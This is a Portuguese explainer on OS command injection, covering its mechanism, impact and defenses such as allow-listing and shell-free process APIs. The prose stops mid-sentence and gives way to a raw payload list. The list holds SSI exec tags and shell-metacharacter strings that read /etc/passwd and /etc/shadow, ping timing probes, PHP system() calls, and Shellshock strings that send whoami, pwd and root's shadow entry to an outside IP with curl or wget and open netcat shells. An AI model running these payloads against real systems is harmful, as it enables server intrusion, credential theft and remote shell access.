A injeção de comando é um ataque no qual a meta é a execução de comandos arbitrários no sistema operacional host por meio de um aplicativo vulnerável. Os ataques de injeção de comando são possíveis quando um aplicativo passa dados de usuário inseguro (formulários, cookies, cabeçalhos HTTP etc.) para um shell do sistema. Nesse ataque, os comandos do sistema operacional fornecido pelo atacante geralmente são executados com os privilégios do aplicativo vulnerável. Os ataques de injeção de comando são possíveis em grande parte devido à validação insuficiente de entrada.
Esse ataque difere da injeção de código, nessa injeção de código permite que o invasor adicione seu próprio código que é executado pelo aplicativo. Na injeção de comando, o invasor estende a funcionalidade padrão do aplicativo, que executa os comandos do sistema, sem a necessidade de injetar código.
A injeção de comando do sistema operacional é uma vulnerabilidade crítica que permite que os invasores obtenham controle total sobre um site afetado e o servidor da web subjacente.
As vulnerabilidades de injeção de comandos do SO surgem quando um aplicativo incorpora dados do usuário em um comando do sistema operacional que ele executa. Um invasor pode manipular os dados para fazer com que seus próprios comandos sejam executados. Isso permite que o invasor execute qualquer ação que o próprio aplicativo possa executar, incluindo a leitura ou modificação de todos os seus dados e executando ações privilegiadas.
Além do compromisso total do próprio servidor da Web, um invasor pode aproveitar uma vulnerabilidade de injeção de comando para girar o ataque na infraestrutura interna da organização, acessa potencialmente qualquer sistema que o servidor da Web possa acessar. Eles também podem criar uma posição persistente dentro da organização, continuando a acessar sistemas comprometidos, mesmo após a fixação da vulnerabilidade original.
As vulnerabilidades de injeção de comando do sistema operacional surgem quando um aplicativo incorpora dados controláveis pelo usuário em um comando que é processado por um intérprete de comando Shell. Se os dados do usuário não forem validados estritamente, um invasor poderá usar o Shell Metacharacters para modificar o comando executado e injetar outros comandos arbitrários que serão executados pelo servidor.
As vulnerabilidades de injeção de comando do SO são geralmente muito graves e podem levar ao compromisso do servidor que hospeda o aplicativo ou dos próprios dados e funcionalidades do aplicativo. Também pode ser possível usar o servidor como uma plataforma para ataques contra outros sistemas. O potencial exato de exploração depende do contexto de segurança em que o comando é executado e dos privilégios que esse contexto tem em relação aos recursos sensíveis no servidor.
Se possível, os aplicativos devem evitar incorporar dados controláveis pelo usuário nos comandos do sistema operacional. Em quase todas as situações, existem métodos alternativos mais seguros para executar tarefas no nível do servidor, que não podem ser manipuladas para executar comandos adicionais do que os pretendidos.
Se for considerado inevitável incorporar dados fornecidos pelo usuário aos comandos do sistema operacional, as duas camadas de defesa a seguir devem ser usadas para evitar ataques:
Os dados do usuário devem ser estritamente validados. Idealmente, uma lista de permissões de valores aceitos específicos deve ser usada. Caso contrário, apenas seqüências alfanuméricas curtas devem ser aceitas. A entrada que contém outros dados, incluindo qualquer espaço concebível do Shell Metacharacter ou Whitesp, deve ser rejeitado.
O aplicativo deve usar as APIs de comando que iniciam um processo específico por meio de seu nome e parâmetros da linha de comando, em vez de passar uma string de comando para um intérprete de shell que suporta encadeamento e redirecionamento de comando. Por exemplo, o Java API Runtime.Exec e o API API ASP.NET.START não suportam o Shell Metacharacters. Esta defesa pode mitigar
<!--#exec%20cmd="/bin/cat%20/etc/passwd"-->
<!--#exec%20cmd="/bin/cat%20/etc/shadow"-->
<!--#exec%20cmd="/usr/bin/id;-->
<!--#exec%20cmd="/usr/bin/id;-->
/index.html|id|
;id;
;id
;netstat -a;
;system('cat%20/etc/passwd')
;id;
|id
|/usr/bin/id
|id|
|/usr/bin/id|
||/usr/bin/id|
|id;
||/usr/bin/id;
;id|
;|/usr/bin/id|
n/bin/ls -aln
n/usr/bin/idn
nidn
n/usr/bin/id;
nid;
n/usr/bin/id|
nid|
;/usr/bin/idn
;idn
|usr/bin/idn
|nidn
`id`
`/usr/bin/id`
a);id
a;id
a);id;
a;id;
a);id|
a;id|
a)|id
a|id
a)|id;
a|id
|/bin/ls -al
a);/usr/bin/id
a;/usr/bin/id
a);/usr/bin/id;
a;/usr/bin/id;
a);/usr/bin/id|
a;/usr/bin/id|
a)|/usr/bin/id
a|/usr/bin/id
a)|/usr/bin/id;
a|/usr/bin/id
;system('cat%20/etc/passwd')
;system('id')
;system('/usr/bin/id')
%0Acat%20/etc/passwd
%0A/usr/bin/id
%0Aid
%0A/usr/bin/id%0A
%0Aid%0A
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
%0a ping -i 30 127.0.0.1 %0a
`ping 127.0.0.1`
| id
& id
; id
%0a id %0a
`id`
$;/usr/bin/id
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=`whoami`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=18?pwd=`pwd`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=20?shadow=`grep root /etc/shadow`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=`uname -a`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=24?shell=`nc -lvvp 1234 -e /bin/bash`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=26?shell=`nc -lvvp 1236 -e /bin/bash &`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=5"
() { :;}; /bin/bash -c "sleep 1 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=1&?vuln=6"
() { :;}; /bin/bash -c "sleep 1 && echo vulnerable 1"
() { :;}; /bin/bash -c "sleep 3 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=3&?vuln=7"
() { :;}; /bin/bash -c "sleep 3 && echo vulnerable 3"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=6&?vuln=8"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=9&?vuln=9"
() { :;}; /bin/bash -c "sleep 6 && echo vulnerable 6"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=17?user=`whoami`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=19?pwd=`pwd`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=21?shadow=`grep root /etc/shadow`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=23?uname=`uname -a`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=25?shell=`nc -lvvp 1235 -e /bin/bash`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=27?shell=`nc -lvvp 1237 -e /bin/bash &`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=4"
cat /etc/hosts
$(`cat /etc/passwd`)
cat /etc/passwd
%0Acat%20/etc/passwd
{{ get_user_file("/etc/passwd") }}
<!--#exec cmd="/bin/cat /etc/passwd"-->
<!--#exec cmd="/bin/cat /etc/shadow"-->
<!--#exec cmd="/usr/bin/id;-->
system('cat /etc/passwd');
<?php system("cat /etc/passwd");?>